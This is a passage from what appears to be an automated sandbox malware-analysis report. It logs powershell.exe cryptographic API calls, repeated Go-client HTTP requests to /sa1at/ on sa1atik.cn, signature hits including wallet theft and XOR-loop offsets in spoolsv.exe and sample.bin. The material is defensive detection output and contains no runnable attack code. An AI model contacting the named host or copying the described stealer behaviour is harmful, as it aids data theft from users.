11e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCD1Ic9VXSKRHe3vJHTviA7n2oanD+d84ekkYUUIWGAvN6CCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420f521cf555d22911dedef2474ef880ee7da86a70fe77ce1e92461450858602f37a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"}3c:T1c3d,Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 369Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 369Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 369Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 369Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 369Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 369Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 369Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 84Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80155Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80155Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80155Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "80155Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80155Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80155Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80155Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80155Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 80155Content-Type: application/octet-streamAccept-Encoding: gzip"3d:T551,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains reference to cryptographic keys Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to decrypt/decode data Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Reads the cryptographic machine GUID Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly]3e:T5244,Found XOR loop in file "spoolsv.exe" at offset 15017; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 87940; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 88464; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 100658; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 233400; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 250392; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 277012; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 390687; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 416837; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 430940; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 433283; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 549123; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 686109; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 749632; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 896190; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 912825; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 989080; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1067281; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1070012; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1109170; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1173386; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1326766; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1465640; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1468132; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1501706; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1521173; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1528727; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1673541; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1698013; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 1843070; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2058641; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2105424; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2296155; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2328801; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2371113; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2391588; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2672907; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2747630; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2801518; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 2996763; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3021528; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3055932; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3158388; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3451990; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3504980; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3508302; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3546873; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3559064; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3567282; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 3579785; code bytes = 30d0 Found XOR loop in file "spoolsv.exe" at offset 29022; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 192342; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 239845; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 259695; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 384067; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 412452; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 422556; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 610806; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 639174; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 647919; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 773681; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 842720; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 1077845; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 1112279; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 1309775; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 1311319; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 1354045; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 1420621; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 1677610; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 1708062; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 1935365; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2036299; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2049874; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2053699; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2134585; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2229604; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2297552; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2310128; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2346133; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2448414; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2452336; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2476755; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2516647; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2612194; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2616712; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2700048; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2740558; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2760044; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 2969064; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 3352244; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 3579218; code bytes = 33c1 Found XOR loop in file "spoolsv.exe" at offset 70762; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 109170; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 119828; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 169754; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 273890; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 334230; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 435248; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 711134; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 782626; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 839457; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 899782; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 904304; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 954594; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 971117; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1115686; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1145768; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1241908; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1262651; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1298705; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1310899; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1338553; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1398282; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1594081; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1628208; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1628814; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1692709; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1723187; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1748729; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1971498; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1980600; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 1999336; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2035856; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2124575; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2190595; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2199626; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2271651; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2326074; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2404666; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2516659; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2714817; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2791185; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2799465; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2895425; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 2952287; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 3285936; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 3331551; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 3397823; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 3436948; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 3491215; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 3498322; code bytes = 8030 Found XOR loop in file "spoolsv.exe" at offset 3517561; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 15017; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 87940; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 88464; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 100658; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 233400; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 250392; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 277012; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 390687; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 416837; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 430940; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 433283; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 549123; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 686109; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 749632; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 896190; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 912825; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 989080; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1067281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1070012; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1109170; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1173386; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1326766; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1465640; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1468132; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1501706; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1521173; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1528727; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1673541; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1698013; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1843070; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2058641; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2105424; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2296155; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2328801; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2371113; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2391588; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2672907; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2747630; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2801518; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2996763; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3021528; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3055932; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3158388; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3451990; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3504980; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3508302; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3546873; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3559064; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3567282; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3579785; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 29022; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 192342; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 239845; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 259695; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 384067; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 412452; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 422556; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 610806; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 639174; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 647919; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 773681; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 842720; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1077845; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1112279; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1309775; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1311319; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1354045; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1420621; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1677610; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1708062; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1935365; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2036299; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2049874; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2053699; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2134585; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2229604; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2297552; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2310128; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2346133; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2448414; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2452336; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2476755; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2516647; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2612194; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2616712; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2700048; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2740558; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2760044; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2969064; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3352244; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3579218; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 70762; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 109170; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 119828; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 169754; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 273890; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 334230; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 435248; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 711134; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 782626; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 839457; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 899782; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 904304; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 954594; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 971117; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1115686; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1145768; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1241908; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1262651; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1298705; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1310899; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1338553; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1398282; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1594081; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1628208; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1628814; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1692709; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1723187; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1748729; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1971498; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1980600; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1999336; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2035856; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2124575; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2190595; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2199626; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2271651; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2326074; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2404666; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2516659; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2714817; code bytes = 8030 